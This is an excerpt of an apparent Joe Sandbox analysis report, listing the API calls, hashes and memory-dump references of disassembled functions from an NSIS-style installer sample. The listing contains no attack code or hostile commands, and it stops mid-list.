Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 3fd7a5bdf8e2bcd8409f4f3104da706e70a9a66b0760f7062862c6eded0751b7
Instruction ID: e35359e86d41fb5d6968ee62a371e6abd11f03428b82ac61abb391d392e116c6
Opcode Fuzzy Hash: 3fd7a5bdf8e2bcd8409f4f3104da706e70a9a66b0760f7062862c6eded0751b7
Instruction Fuzzy Hash: 0E017131510609ABDF209F51DD84A5B3A25EF84754F5000BBFA04751D1C77A9C929E6E

Function 00406150 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00000800,00000002,0042C228,00000000,?,?,Call,?,?,004063C4,80000002), ref: 00406196
RegCloseKey.ADVAPI32(?,?,004063C4,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,0042C228), ref: 004061A1

Strings

Call, xrefs: 00406157

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: ccae29ee16f81b62eed190a0e72f85d1395cd89474178e8bc9e2f9375c5b4726
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: C7017172510209EADF21CF55CD05EDF3BA8EB54360F018035FD1596191D779D968CBA4

Function 00405867 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430250,Error launching installer), ref: 00405890
CloseHandle.KERNEL32(?), ref: 0040589D

Strings

Error launching installer, xrefs: 0040587A

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 26b27946013451d7cc559816144a6cf351020ce627575371dc693c6ec487af4b
Instruction ID: d54ab7d3c02f92ec190dfac26e1bcd6e14271da7ed0e34d6283108f8b7c5a0e7
Opcode Fuzzy Hash: 26b27946013451d7cc559816144a6cf351020ce627575371dc693c6ec487af4b
Instruction Fuzzy Hash: D4E09AB5900209BFEB109F65DD49F7B77ACEB04744F004565BD50F2150D778D8148A78

Function 1000289C Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000), ref: 1000295B
GetLastError.KERNEL32 ref: 10002A62

Memory Dump Source

Source File: 00000000.00000002.2482263763.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2482210897.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482282589.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482380281.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_450707124374000811.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 34874d5dbfeecf70d049f007544d8fe97316615c6b6b2225bbceacac8e3d04ae
Instruction ID: 6dfa44c8e371a7ac1a486a55eff0af4ad814c9ea0d06d7514663fdd8c294557a
Opcode Fuzzy Hash: 34874d5dbfeecf70d049f007544d8fe97316615c6b6b2225bbceacac8e3d04ae
Instruction Fuzzy Hash: 4E51B4B9905211DFFB20DFA4DCC675937A8EB443D4F22C42AEA04E726DCE34A990CB55

Function 0040247E Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024AF
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsqA869.tmp,00000000,00000011,00000002), ref: 00402551

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 8261bc8437de9397d7efa493d3c14ec671ad5d0a4e3b3d70237c1a055cd98deb
Instruction ID: 5dbb434a41a715d7517c89e318d331cd35bfdf9d93bbd69694c25902619df99f
Opcode Fuzzy Hash: 8261bc8437de9397d7efa493d3c14ec671ad5d0a4e3b3d70237c1a055cd98deb
Instruction Fuzzy Hash: DC11A331910209EFEF24DFA4CA585BEB6B4EF04354F21843FE046A72C0D7B84A45DB59

Function 00405C5B Relevance: 3.0, APIs: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406282: lstrcpynW.KERNEL32(?,?,00000400,00403444,00433EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 0040628F

Part of subcall function 00405BFE: CharNextW.USER32(?,?,0042FA50,?,00405C72,0042FA50,0042FA50,?,?,74DF3420,004059B0,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C0C
Part of subcall function 00405BFE: CharNextW.USER32(00000000), ref: 00405C11
Part of subcall function 00405BFE: CharNextW.USER32(00000000), ref: 00405C29

lstrlenW.KERNEL32(0042FA50,00000000,0042FA50,0042FA50,?,?,74DF3420,004059B0,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405CB4
GetFileAttributesW.KERNELBASE(0042FA50,0042FA50,0042FA50,0042FA50,0042FA50,0042FA50,00000000,0042FA50,0042FA50,?,?,74DF3420,004059B0,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 00405CC4

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID:
API String ID: 3248276644-0
Opcode ID: a970eb1a3142989cf927e9e4643bcace7998e9650737c8fd412cf721476e62ae
Instruction ID: 85ea7651a51856ee7c4c0712bbf35357d52fdd33bb29f336d43f3a771a20a055
Opcode Fuzzy Hash: a970eb1a3142989cf927e9e4643bcace7998e9650737c8fd412cf721476e62ae
Instruction Fuzzy Hash: 0DF0F925109F5215F622323A1D09EAF2554CF83368716463FF952B16D5DA3C99038D7D

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 819fad79445c3595f7b9f28f54206bfd84f40695cc559c75429dbb5a445ae89f
Instruction ID: eaafb4699c1cdf5c6f59fde68eca766a765a16907ebce13606274643e5ac5f14
Opcode Fuzzy Hash: 819fad79445c3595f7b9f28f54206bfd84f40695cc559c75429dbb5a445ae89f
Instruction Fuzzy Hash: 8D0128316242209FE7095B789D05B6A3698E710715F14463FF851F62F1D678CC429B4C

Function 00402388 Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023AA
RegCloseKey.ADVAPI32(00000000), ref: 004023B3

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 521e33bf1c8ff9c3df6ac7757e7f8edd3bb41d92ca0b3b7281954678aee4cd22
Instruction ID: a65daa511511277569afb244ca8fe97b80a25767db049908362439423f8cf232
Opcode Fuzzy Hash: 521e33bf1c8ff9c3df6ac7757e7f8edd3bb41d92ca0b3b7281954678aee4cd22
Instruction Fuzzy Hash: E5F09632A041149BE711BBA49B4EABEB2A99B44354F16043FFA02F71C1DEFC4D41966D

Function 00401E43 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E61
EnableWindow.USER32(00000000,00000000), ref: 00401E6C

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 2eb542d08f3645705a96f7068f662fa96ba88c07949deaf1805fa2c2c225f25f
Instruction ID: 09ae210f1740f3e2fd0b4033472822fcab18c129469b5f5a82ca29d8a3c9addd
Opcode Fuzzy Hash: 2eb542d08f3645705a96f7068f662fa96ba88c07949deaf1805fa2c2c225f25f
Instruction Fuzzy Hash: DEE09232E082008FD7149BA5AA494AD77B4EB84364720403FE112F11C1DA7848418F59

Function 0040665C Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,004033E5,0000000A), ref: 0040666E
GetProcAddress.KERNEL32(00000000,?), ref: 00406689

Part of subcall function 004065EC: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406603
Part of subcall function 004065EC: wsprintfW.USER32 ref: 0040663E
Part of subcall function 004065EC: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406652

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 67dc6ca41c2bc7bd5b2f809cbb82f8f2c1b847e00e9086bd1828883d4f03c685
Instruction ID: f71ddd0ba98f8a8be4c3f380e987b43417b0e7e7cad23f5b62dfe7414387192f
Opcode Fuzzy Hash: 67dc6ca41c2bc7bd5b2f809cbb82f8f2c1b847e00e9086bd1828883d4f03c685
Instruction Fuzzy Hash: 18E026321002016AC7008A305E4083763AC9B85340303883FFD46F2081DB39DC31A6AD

Function 00405D74 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\450707124374000811.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D78
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D9A

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction ID: 684cdbd871a87963be1dc25f749e3f1c2e3aca1a790447dc63e6e481d8426dbe
Opcode Fuzzy Hash: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction Fuzzy Hash: 5DD09E31254301AFEF098F20DE16F2EBBA2EB84B05F11552CB786940E0DA7158199B15

Function 00405832 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403366,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 00405838
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 00405846

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction ID: 034de6f099216337e7681325378c15a49c0ca39433587e883605b7c80b1fabea
Opcode Fuzzy Hash: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction Fuzzy Hash: C8C08C312155019AC7002F219F08B0B3A50AB20340F018439A946E00E0DA308424DD2D

Function 004027E9 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 00402807

Part of subcall function 004061C9: wsprintfW.USER32 ref: 004061D6

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 25119fcbc0a3167edfdd7d21477dcc65c7f09cfc642675181383071420b6b3c2
Instruction ID: 338d2460217d73ea2e2bb91e7847e27d4a9cf2f97daf1e2edf82c438741940a9
Opcode Fuzzy Hash: 25119fcbc0a3167edfdd7d21477dcc65c7f09cfc642675181383071420b6b3c2
Instruction Fuzzy Hash: 83E09271B00104AFDB11EBA5AE498AE7779DB80314B24403BF101F50D2CA794E119E2D

Function 00402306 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040233D

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 611604a497d22fd9b22a7666efc1e18301a5eb9844a24c96cea5756000cc0278
Instruction ID: f718b570c03cd879152723008abd35f840e0595a9afadee28286a7759bd10add
Opcode Fuzzy Hash: 611604a497d22fd9b22a7666efc1e18301a5eb9844a24c96cea5756000cc0278
Instruction Fuzzy Hash: A1E086719042686EE7303AF10F8EDBF50989B44348B55093FBA01B61C2D9FC0D46826D

Function 0040611D Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CE8,00000000,?,?), ref: 00406146

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: 190238b8cd19dd4efab6c9cc8903e135eae53195524c7f3a74b1c4143961a507
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: A1E0E6B2010109BEDF095F50DD0AD7B371DEB04704F01452EFA57D5091E6B5A9309679

Function 00405E26 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,004032DE,000000FF,00416A00,?,00416A00,?,?,00000004,00000000), ref: 00405E3A

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 087a0ba252b1651b23da729bb4e18d02a4b8a10c1fd3406c9ee2a7e33144c981
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 96E0463221021AABCF10AF50CC04AAB3B6CFB003A0F004432B955E2050D230EA208AE9

Function 00405DF7 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403328,00000000,00000000,0040314C,?,00000004,00000000,00000000,00000000), ref: 00405E0B

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
